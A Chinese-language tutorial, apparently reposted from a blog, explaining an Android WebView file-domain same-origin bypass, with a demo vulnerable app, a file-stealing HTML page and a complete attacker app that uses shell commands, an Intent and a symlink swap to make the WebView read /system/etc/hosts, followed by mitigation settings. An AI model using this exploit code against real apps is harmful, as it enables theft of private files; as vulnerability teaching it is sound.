Android WebView File域同源策略绕过漏洞浅析

Posted jltxgcy

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Android WebView File域同源策略绕过漏洞浅析相关的知识,希望对你有一定的参考价值。

   0x00

    我们首先讲一个webView这个方法的作用:

webView.getSettings().setAllowFileAccessFromFileURLs(false);
    为了讲解这个方法,我们还是看一个实际的例子。代码地址还是参考 https://github.com/jltxgcy/AppVulnerability/tree/master/WebViewFileDemo

    代码如下,和Android WebView远程代码执行漏洞简析一文中的代码主要区别在于这次加载的attack_file.html

public class MainActivity extends Activity {
	private WebView webView;
	private Uri mUri;
	private String url;
	String mUrl1 = "file:///android_asset/html/attack_file.html";
	//String mUrl2 = "file:///android_asset/html/test.html";

	@Override
	protected void onCreate(Bundle savedInstanceState) {
		super.onCreate(savedInstanceState);
		setContentView(R.layout.activity_main);
		webView = (WebView) findViewById(R.id.webview);
		webView.getSettings().setjavascriptEnabled(true);
		webView.addJavascriptInterface(new JSInterface(), "jsInterface");
		webView.getSettings().setAllowFileAccessFromFileURLs(true);
		webView.setWebChromeClient(new WebChromeClient() {
			@Override
			    public boolean onJsAlert(WebView view, String url, String message,JsResult result) {
			    //Required functionality here
			    return super.onJsAlert(view, url, message, result);
			}
		});
		webView.loadUrl(mUrl1);
	}
	
	
    class JSInterface {
        public String onButtonClick(String text) {
            final String str = text;
            runOnUiThread(new Runnable() {
                @Override
                public void run() {
                    Log.e("leehong2", "onButtonClick: text = " + str);
                    Toast.makeText(getApplicationContext(), "onButtonClick: text = " + str, Toast.LENGTH_LONG).show();
                }
            });
            
            return "This text is returned from Java layer.  js text = " + text;
        }
        
        public void onImageClick(String url, int width, int height) {
            final String str = "onImageClick: text = " + url + "  width = " + width + "  height = " + height;
            Log.i("leehong2", str);
            runOnUiThread(new Runnable() {
                @Override
                public void run() {
                    Toast.makeText(getApplicationContext(), str, Toast.LENGTH_LONG).show();
                }
            });
        }
    }

}
   这里webView.getSettings().setAllowFileAccessFromFileURLs(true),标示可以通过javaScript访问file文件。

   我们再来看attack_file.html的代码:

<html>
<body>
<script>
function stealFile()
{
	var file = "file:///mnt/sdcard/11.txt";
	var xmlHttpReq = new XMLHttpRequest();
	xmlHttpReq.onreadystatechange = function(){
		if(xmlHttpReq.readyState == 4){
			alert(xmlHttpReq.responseText);
		}
	}

xmlHttpReq.open("GET", file);
xmlHttpReq.send(null);
}
stealFile();
</script>
</body>
</html>
    由于 setAllowFileAccessFromFileURLs为true,所以webView.load这个html可以返回/mnt/sdcard/11.txt的值。

    如果setAllowFileAccessFromFileURLs为false,webView.load这个html不可以返回/mnt/sdcard/11.txt的值。


   0x01

    即使setAllowFileAccessFromFileURLs为false,我们通过一种方式也可以跨过这个限制,那就是Android WebView File域同源策略绕过漏洞浅析,请参考WebView File域同源策略绕过漏洞浅析

    参考的文章并没有给出可以运行的工程,这里给出,以下的讲解都来源于这两个工程:https://github.com/jltxgcy/AppVulnerability/tree/master/WebViewFileDemo1https://github.com/jltxgcy/AppVulnerability/tree/master/AttackWebView

    首先运行WebViewFileDemo1,然后再运行AttackWebView来袭击WebView。    


    我们首先看WebViewFileDemo1,主要代码如下:

package com.example.webviewfiledemo;

import android.app.Activity;
import android.content.Intent;
import android.net.Uri;
import android.os.Bundle;
import android.util.Log;
import android.webkit.JsResult;
import android.webkit.WebChromeClient;
import android.webkit.WebView;
import android.widget.Toast;

public class MainActivity extends Activity {
	private WebView webView;
	private Uri mUri;
	private String url;

	@Override
	protected void onCreate(Bundle savedInstanceState) {
		super.onCreate(savedInstanceState);
		setContentView(R.layout.activity_main);
		webView = (WebView) findViewById(R.id.webview);
		webView.getSettings().setJavaScriptEnabled(true);
		webView.addJavascriptInterface(new JSInterface(), "jsInterface");
		webView.getSettings().setAllowFileAccessFromFileURLs(false);
		//webView.getSettings().setAllowFileAccess(false);
		webView.setWebChromeClient(new WebChromeClient() {
			@Override
			    public boolean onJsAlert(WebView view, String url, String message,JsResult result) {
			    //Required functionality here
			    return super.onJsAlert(view, url, message, result);
			}
		});
		
		Intent i = getIntent();
		if (i != null) {
			mUri = i.getData();
		}
		if (mUri != null) {
			url = mUri.toString();
		}
		if (url != null) {
			webView.loadUrl(url);
		}
	}

}

    这个Activity接收来自外部的Intent,提取Intent里面的url并加载。


    接着我们来看AttackWebView工程,这里就是向com.example.webviewfiledemo.MainActivity发送Intent的工程。代码如下:

public class MainActivity extends Activity {
	public final static String HTML = 
			"<body>" +
		    "<u>Wait a few seconds.</u>" + 
		    "<script>" +
		    "var d = document;"+
		    "function doitjs(){"+
		    "var xhr = new XMLHttpRequest;"+
		    "xhr.onload = function(){"+
		    "var txt = xhr.responseText;"+
		    "d.body.appendChild(d.createTextNode(txt));"+
		    "alert(txt);"+"};"+
		    "xhr.open('GET',d.URL);"+
		    "xhr.send(null);"+
		    "}"+
		    "setTimeout(doitjs,8000);"+
		    "</script>"+
		    "</body>";
	
	public static String MY_TMP_DIR;

	@Override
	protected void onCreate(Bundle savedInstanceState) {
		super.onCreate(savedInstanceState);
		setContentView(R.layout.activity_main);
		MY_TMP_DIR = getDir("payload_odex", MODE_PRIVATE).getAbsolutePath();
		doit();
	}
	
	public void doit() {
		String HTML_PATH = MY_TMP_DIR + "/A0" + ".html";
		try {
			cmdexec("mkdir " + MY_TMP_DIR);
			cmdexec("echo \\"" + HTML + "\\" > " + HTML_PATH);
			cmdexec("chmod -R 777 " + MY_TMP_DIR);
			Thread.sleep(1000);
			invokeVulnAPP("file://" + HTML_PATH);
			Thread.sleep(6000);
			cmdexec("rm " + HTML_PATH);
			cmdexec("ln -s " + "/system/etc/hosts" + " " + HTML_PATH);
		} catch (Exception e) {
			// TODO: handle exception
		}

	}

	public void invokeVulnAPP(String url) {
		try {
			Intent intent = new Intent(Intent.ACTION_MAIN,Uri.parse(url));
			intent.addCategory(Intent.CATEGORY_LAUNCHER); 
			intent.setClassName("com.example.webviewfiledemo", "com.example.webviewfiledemo.MainActivity");
			startActivity(intent);
		} catch (Exception e) {
			// TODO: handle exception
		}
	}

	public void cmdexec(String cmd) {
		try {
			String[] tmp = new String[] { "/system/bin/sh", "-c", cmd };
			Runtime.getRuntime().exec(tmp);
		} catch (Exception e) {
			// TODO: handle exception
		}
	}
	
}
   通过invokeVulnAPP,打开了com.example.webviewfiledemo.MainActivity并传递了Intent。这个Activity提取了Url,Url为/sdcard/payload_odex/A0.html,webView加载了这个html,html内容如下:

	public final static String HTML = 
			"<body>" +
		    "<u>Wait a few seconds.</u>" + 
		    "<script>" +
		    "var d = document;"+
		    "function doitjs(){"+
		    "var xhr = new XMLHttpRequest;"+
		    "xhr.onload = function(){"+
		    "var txt = xhr.responseText;"+
		    "d.body.appendChild(d.createTextNode(txt));"+
		    "alert(txt);"+"};"+
		    "xhr.open('GET',d.URL);"+
		    "xhr.send(null);"+
		    "}"+
		    "setTimeout(doitjs,8000);"+
		    "</script>"+
		    "</body>";
    当 WebViewFileDemo1工程中webView加载A0.html后,这个html的作用是延迟8秒读取A0.html本身。我们再回到 AttackWebView工程,往下看代码。
cmdexec("mkdir " + MY_TMP_DIR);
			cmdexec("echo \\"" + HTML + "\\" > " + HTML_PATH);
			cmdexec("chmod -R 777 " + MY_TMP_DIR);
			Thread.sleep(1000);
			invokeVulnAPP("file://" + HTML_PATH);
			Thread.sleep(6000);
			cmdexec("rm " + HTML_PATH);
			cmdexec("ln -s " + "/system/etc/hosts" + " " + HTML_PATH);
   调用完invokeVulnAPP后,6秒后,我们首先把A0.html删除,然后再重新软连接到/system/etc/hosts。注意此时 WebViewFileDemo1工程中 webView加载A0.html,这个html的作用是延迟8秒读取A0.html本身,所以8秒后读取的是软连接/system/etc/hosts。

   结果如下:



   0x02

    如何避免这种情况的发生呢?

    1、webView.getSettings. setAllowFileAccess(false);

    如果在WebViewFileDemo1工程中com.example.webviewfiledemo.MainActivity的onCreate方法中如果加上了上面的代码,那么运行的结果如下:


  

    2、webView.getSettings. setJavaScriptEnabled(false);

以上是关于Android WebView File域同源策略绕过漏洞浅析的主要内容,如果未能解决你的问题,请参考以下文章

同源策略与跨域问题

尝试禁用 Chrome 同源策略

尝试禁用 Chrome 同源策略

JS同源策略和跨域访问

同源策略与跨域请求

同源策略与跨域请求